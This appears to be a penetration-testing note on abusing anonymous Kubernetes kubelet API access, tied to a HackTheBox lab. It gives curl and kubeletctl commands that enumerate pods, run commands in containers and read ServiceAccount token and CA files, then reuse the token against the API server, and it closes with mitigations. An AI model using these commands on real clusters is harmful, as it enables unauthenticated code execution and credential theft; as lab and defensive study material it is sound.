đź§ Kubernetes - Kubelet API Anonymous Access
- Concept: Every Kubernetes Node runs a kubelet — the agent that actually manages the containers scheduled on that Node — and by default it exposes its own HTTPS API on
10250, independent of the cluster’s main API server. That API isn’t just informational:/exec,/run, and/crilet a caller execute arbitrary commands inside any Pod scheduled on that Node. If--anonymous-authis left enabled (or webhook authorization isn’t wired up to actually check anything), that entire surface is reachable by anyone who can route to port10250— no cluster credential required at all. - Impact: Anonymous kubelet access is effectively pre-authenticated RCE against every container on the Node, plus a free source of cluster credentials — any Pod’s mounted ServiceAccount token can simply be
cat’d out via/exec, turning “no credentials” into “a live, RBAC-scoped identity against the real API server” in one command.
How it works
- The kubelet’s HTTPS API (
10250) is a separate service from the cluster API server (8443/6443) — it has its own authentication configuration, and a hardened API server says nothing about whether the kubelet itself is locked down. GET /podson the kubelet API dumps every Pod scheduled on that specific Node, across all namespaces — no interaction withkubectlor the API server needed to get a full inventory./exec/<namespace>/<pod>/<container>?command=<cmd>(and/run/...) execute a command inside a running container by hijacking the kubelet’s own control over that Pod. The kubelet doesn’t ask the API server whether the caller is allowed to touch that Pod — its own auth policy is the only gate.- Because this reaches into a container the kubelet is already managing, whatever that container’s ServiceAccount token grants (see Kubernetes) is fully accessible:
cat /var/run/secrets/kubernetes.io/serviceaccount/tokenandca.crtfrom any exec session hands over a real, usable identity against the actual API server.
Exploitation
Prerequisites
- Network reachability to a Node’s kubelet port (
10250by default) with anonymous authentication enabled
Attack Vectors
# 1. Confirm anonymous access — a real Pod list back means no auth is enforced
curl -sk https://<node-ip>:10250/pods# 2. Raw curl can't drive /exec (it upgrades to a websocket), so use kubeletctl instead —
# see [[kubeletctl]] for install/usage
kubeletctl --server <node-ip> pods# 3. Find which of those Pods actually accept command execution
kubeletctl --server <node-ip> scan rce# 4. Run commands directly inside a vulnerable Pod/container
kubeletctl --server <node-ip> exec "id" -p <pod> -c <container># 5. Harvest that Pod's ServiceAccount identity — the actual prize
kubeletctl --server <node-ip> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p <pod> -c <container>
kubeletctl --server <node-ip> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p <pod> -c <container>From there, authenticate to the real API server with the harvested token/CA (kubectl --token=$token --certificate-authority=ca.crt --server=https://<node-ip>:8443 auth can-i --list) to find out what that identity is actually authorized to do — see Kubernetes - Malicious Pod Creation (hostPath Escape) if it can create Pods.
Notes
- A command run this way lands inside whatever container the kubelet exec’d into —
idreturninguid=0(root)is root of the container, not the Node. There’s usually no flag or interesting file sitting in an unrelated app Pod likenginx; its only value here is the ServiceAccount token it happens to be carrying. kubeletctl scan rceexists because not every Pod on a Node accepts/exec//run— some containers (a bareetcdPod, for instance) don’t have a usable shell or reject the call outright, so this step narrows down which Pod is actually worth pivoting through.- Read-only kubelet access historically also existed on port
10255(plain HTTP, no auth by design) — functionally the same reconnaissance value as/podsabove, just without needing-k/TLS handling.
Mitigation
- Fix: Set
--anonymous-auth=falseand--authorization-mode=Webhookon every kubelet so unauthenticated requests are rejected outright, and firewall10250(and legacy10255) to only the API server / trusted monitoring ranges rather than the general network.
Related Usage
| File | Created |
|---|---|
| HTB Machine - SteamCloud | July 27, 2026 |
References: